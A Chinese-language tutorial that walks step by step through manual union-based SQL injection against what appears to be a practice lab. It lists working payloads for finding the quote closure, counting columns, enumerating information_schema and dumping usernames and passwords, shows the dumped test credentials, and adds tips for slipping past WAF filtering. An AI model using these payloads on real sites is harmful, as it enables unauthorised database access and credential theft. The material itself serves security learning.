#前提
首先我们在做任何一个注入 的时候第一点做的就是判断他是字符型的还是数字型的,他如果是数字型的话你就不需要关心她的闭合方式了
现在这里我们已经判断出了她的闭合方式是使用 ' 单引号进行闭合的,确定她的闭合方式之后我们直接使用--+把后面的内容直接注释掉
因为我们在闭合的时候自己多打了一个' 单引号,导致她后面还有一个自带的单引号,所以我们就要使使用--+把后面的单引号注释掉,不让她报错,影响我们的注入测试
然后在中间的部分使用sql语句进行测试查询
#流程
1.寻找注入点
2.判断字符型还是数字型 (and 1=1 and 1=2 或者3-1)
3.判断闭合方式 ( ' ') " ") )
4.确定字段数 (group by order by)
5.确定显示的字段数 (-1 union select 1,2,3.....)
6.确定数据库名 (Databases())
7.确定查询的数据表名(table_name information_schema.tables)
8.获取字段(列)(column_name information_schema.columns)
9.脱库
补充:数字型注入的话直接跳过判断闭合方式那一步。
演示案例:
1.寻找注入点
2.判断字符型数字型
原界面
name:stupid
进行5-1
name:stupid
界面还是一样的,确定是字符型
3.确定闭合方式
进行' ') ") " 的测试,哪个界面返回错误就把返回的语句拿出来,在做进一步判断
这里加了 ' 返回的错误
去除她属于语句输出自带的单引号
红色部分为我们输入的内容
她原来的闭合方式就是 ' '
确定她是使用 ' ' 进行闭合
4.确定字段数
查询字段:
group by
oder by
注:建议使用group by 因为oder by 经常被waf软件过滤掉。但是如果使用group by的时候出现一些错误的时候就使用 oder by 进行查询
由于'是我们使用闭合的,就要在后面使用--+把她自带的'去除掉
中间使用group by 进行查询字段
查询到4的时候报错
查询3,页面正常
确定字段数3
5.确定界面显示的字段
-5 ' Union Select 1,2,3 --+
确定页面显示字段
2,3
6.确定数据库名
database():正在使用的数据库
-5' union select 1,database(),3 --+
确定数据库名
security
7.查询security数据库所有表名
-5' union select 1,2,Group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
-5' union select 1,2,Group_concat(table_name) from information_schema.tables where table_schema='security'
第一种比较好绕过waf
右键->查看 页面源代码
security数据库的所有数据表为以下
emails,
referers,
uagents,
users
8.获取字段(查询users表中的所有字段)
-5' union select 1,2,Group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
或者
-5' union select 1,2,Group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
以下为字段
id,
username,
password
9.脱库
-5' union select 1,2,group_concat(username,'--',password) from security.users --+
Dumb--Dumb,
Angelina--I-kill-you,
Dummy--p@ssword,
secure--crappy,
stupid--stupidity,
superman--genious,
batman--mob!le,
admin--admin,
admin1--admin1,
admin2--admin2,
admin3--admin3,
dhakkan--dumbo,
admin4--admin4
以上为所有数据库的用户和密码信息
注:其实我个人觉得使用hex查询出的数据更全点......因为上次做了一个实验使用group_concat(table_name)获取表名没有获取的特多的表名信息出来,但是hex(group_concat(table_name))获取的更多....看个人吧 我还是喜欢hex